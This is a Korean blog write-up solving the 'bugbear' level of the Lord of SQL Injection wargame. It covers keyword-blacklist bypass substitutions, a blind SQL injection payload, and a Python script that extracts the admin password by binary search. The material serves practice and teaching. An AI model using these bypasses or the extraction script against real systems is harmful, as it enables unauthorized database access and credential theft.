Backouts_ Logbook

[Lord of SQL Injection] bugbear 문제 풀이 본문

웹 해킹/웹 개발

[Lord of SQL Injection] bugbear 문제 풀이

Backouts 2025. 4. 22. 01:49

bugbear 문제 풀이

 

bugbear 문제

 

문제 분석

 

 문제 목표

GET 메서드의 pw 파라미터 값과 데이터베이스에서 가져온 admin 계정의 비밀번호가 일치할 경우, solve("bugbear") 함수가 실행됩니다. 이 함수는 문제를 성공적으로 풀었을 때 호출되는 것으로 보입니다. 따라서 이 문제의 목표는 admin 계정의 비밀번호를 탈취하는 것입니다.

$_GET[pw] = addslashes($_GET[pw]); 
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");

 

 입력 제한

pw 파라미터에서는 '(작은따옴표)를 필터링하여 문자열 탈출(SQL Injection 시도)을 방지하고 있으며,  no 파라미터에서는 prob, _(언더바), .(마침표), ()(빈 괄호) 등의 문자열을 필터링하여 데이터베이스에 직접 접근하는 시도를 막고 있습니다.  또한 no 파라미터에 '(작은따옴표), substr, ascii, =, or, and, ' '(공백), like, 0x 등의 키워드가 포함될 경우 exit() 함수를 통해 PHP 코드 실행을 즉시 종료합니다.

if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");

 

 취약점 분석

pw 파라미터에 삽입한 값은 SQL 쿼리에 삽입되고 실행됩니다. 쿼리의 결과값이 존재할 경우 데이터베이스에서 가져온 id가 화면에 출력됩니다. 따라서 위에서 알아본 입력제한을 우회하여 SQL Injection을 실행하는 것이 문제 풀이의 핵심입니다.

우회방식
bugbear 문제와 같이 파라미터의 입력값을 블랙리스트 방식으로 필터링한 경우, 필터링되는 문자열을 알아낸다면, 그에 해당하는 같거나 비슷한 기능을 하는 다른 함수나 연산자를 사용하여 우회할 수 있습니다.
ex)
substr, substring → mid
ascii → ord, conv(hex('A'), 16, 10)
' → "
= → like
and → &&
or → ||
' '(공백) → /**/
like → regexp

 

문제 풀이

 

1. no 파라미터에 참쿼리를 삽입하여 Hello guest가 출력되는 것으로 SQL Injection이 가능한 것을 확인합니다.

 

2. no 파라미터에 거짓 쿼리를 삽입하여 참과 거짓의 결과가 다른 것을 확인합니다.

=> Hello [id] 출력 여부

 

3. Blind SQL Injection을 위해 공격 format을 생성합니다.

format => no=/**/||/**/id/**/regexp/**/"admin"/**/%26%26/**/conv((hex(mid(pw,1,1))),16,10)>0

/**/ => SQL에서 주석을 의미하며 일부 SQL 파서에서 주석은 키워드 사이의 구분자 역할을 할 수 있어 공백을 대신해 사용할 수 있습니다.
||, && => SQL 파서에서 or과 and로 해석되기 때문에 and, or 문자열만 필터링하는 경우 우회에 사용할 수 있습니다.
==> &는 URL에서 파라미터를 구분하는 특수문자이기 때문에, 파라미터 값의 일부로 사용할 경우 %26으로 URL 인코딩하여 안전하게 전달해야 합니다.
regexp => SQL에서 정규 표현식을 사용하여 문자열이 패턴과 일치하는지를 확인하는 데 사용되는 연산자입니다. 일반적인 like보다 훨씬 복잡한 패턴으로 문자열을  검색할 수 있으며 like의 역할을 대체할 수 있어 필터링 우회 기법에서도 활용됩니다.
mid('문자열', [index], [length]) => substr과 동일한 역할을 하며, 주어진 인덱스 위치에서 지정된 길이만큼의 문자열을 추출합니다.
hex => 문자열을 16진수 형식으로 변환하는 함수입니다.
conv('문자열', [from_base], [to_base]) => SQL에서 진법 변환을 수행하는 함수입니다. 16진수로 변환된 문자열을 쉽게 비교하기 위해 10진수로 만들기 위해 사용했습니다.

 

4. admin 계정의 비밀번호를 Blind SQL Injectiton으로 추출하는  Python 코드를 생성합니다.

Blind SQL Injection 방식
mid 함수를 이용해 admin 계정의 비밀번호에서 한 글자씩 추출한 뒤, hex 함수를 사용해 해당 문자를 16진수 숫자로 변환합니다. 이후 conv 함수를 이용해 다시 10진수로 변환한 뒤, 비교를 반복하며 이진 탐색 방식으로 각 자리의 문자를 알아내는 방식을 사용했습니다.
이진 탐색
SQL Injection에서 결과값이 참과 거짓으로 나오는 점을 이용해서 탐색 범위를 반으로 줄여가며 효율적으로 값을 찾는 이진 탐색 방식을 사용합니다.
ex) 1 - 1000 사이의 숫자인 x를 찾을 때
x > 500 True
x > 750 False
x > 625 True
....
import requests

def request_sqli(session, url, index, ascii):
    parm = f"?no=1/**/||/**/id/**/regexp/**/\"admin\"/**/%26%26/**/conv(hex(mid(pw,{index},1)),16,10)>{ascii}"
    url += parm
    response = session.get(url)
    # response = session.get(url, proxies=proxies, verify=False)

    if "Hello admin" in response.text:
        return True
    else:
        return False;

url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
session = requests.Session()
sessid = "세션id"
session.cookies.set("PHPSESSID", sessid)

sql_result = ""

proxies = {
    "http": "http://localhost:8080",
    "https": "http://localhost:8080"
}

index = 1
while True:
    if request_sqli(session, url, index, 0):
        left = 0
        right = 127
        while True:
            mid = (left + right) // 2
            if request_sqli(session, url, index, mid):
                left = mid + 1
            else:
                right = mid
            if left == right:
                index += 1
                sql_result += chr(left)
                print(f"\r결과: {sql_result}", end="")
                break
    else:
        break

 

5. Python 코드를 실행하여 admin 계정의 비밀번호를 추출합니다.

 

6. 비밀번호를 pw 파라미터에 삽입해 문제 풀이를 완료합니다.